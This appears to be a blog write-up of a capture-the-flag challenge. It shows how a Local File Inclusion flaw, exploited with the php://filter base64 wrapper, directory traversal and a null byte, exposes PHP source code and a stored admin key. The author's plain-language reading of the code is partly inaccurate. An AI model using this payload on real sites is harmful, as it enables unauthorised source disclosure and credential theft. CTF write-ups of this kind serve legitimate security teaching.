MiniCTF Security Challenge 2
May 22, 2014MiniCTF Security Challenge 2: Reversing PHP
On first inspection, there is no opportunity to LFIs (Local File Inclusion) on either the home page directory for sch2 or the restricted area. However, we're given a hint at the bottom of the page that says we should look at another challenge...
Well there is only one other challenge that we know so far, and that is the first challenge. Let's take a look. We KNOW there is a way to use LFI because we've already done it (index.php?=admin/.htaccess). However, we are not given a specific directory to include in the url and thus thus we cannot find htaccess or htpasswd.
This one stumped my friend and I for awhile. We searched google and finally came upon this:
php://filter/read=convert.base64-encode/resource=file.php
This reads the source of a php file and outputs it in base64 encoding to the page you're referring from. When conversion takes place, it reads the file before it runs it, allowing us to see the code in base64. This is perfect for us, because we know we can include a file in the previous challenge but cannot call the .htaccess in the new one. We need to look at secure.php's (Restricted Access) code in order to see what it is doing to your input.
So let's try:
/index.php?page=php://filter/read=convert.base64-encode/resource=../sch2/secure.php
Don't forget a Null byte or else it'll read: secure.php.php. Here it outputs the base64 encoded source of secure.php:
Copy and paste it in a base64 decoder to find out what the source is doing. I use http://www.base64decode.org/
The code is:
<?php
include("header.htm");
if ($_POST['adminpass'] != "") {
$file_content = file("admin_key.log");
$key = convert_uudecode(base64_decode($file_content[0]));
if ($_POST['adminpass'] == $key) {
if ($handle = opendir(".")) {
while (false !== ($entry = readdir($handle))) {
if (endswith($entry, ".txt")) {
echo file_get_contents($entry);
}
}
closedir($handle);
}
} else {
echo "<p align=\"center\">INCORRECT ADMIN PASS!</p>";
}
} else {
echo "<div align=\"center\">";
echo "<p align=\"center\">Please enter the admin pass to access the secure area.</p>";
echo "<form name=\"input\" action=\"secure.php\" method=\"post\">";
echo "admin pass: <input type=\"password\" name=\"adminpass\">";
echo "<br>";
echo "<input type=\"submit\" value=\"Submit\">";
echo "</form></div>";
}
include("footer.htm");
?>
<?php
function endswith($string, $test) {
$strlen = strlen($string);
$testlen = strlen($test);
if ($testlen > $strlen) return false;
return substr_compare($string, $test, -$testlen) === 0;
}
?>
This code reads as follows:
Include/display header.htm
if the password does not equal NULL (empty space)
then set the variable file_content to be the content in admin_key.log
the key is equal to the uuencoded version of the base64 version of file_content (Encoded to base64 first, then uuencode)
If password is equal to the key
and the open directory is ./
then open/show the admin page.
Everything else is unimportant. We now know what file we're looking for; It's admin_key.log. Let's try to traverse to ../sch2/admin_key.log and see what we get. DON'T FORGET YOUR NULL BYTE!
There it is--the output of admin_key.log. Remember looking at the source of secure.php and how it decodes the key from base64 and then uudecode? This means you have to do what the code is doing to get the password. Once you've decoded it and logged in, you'll get your key to complete the challenge.
0 comments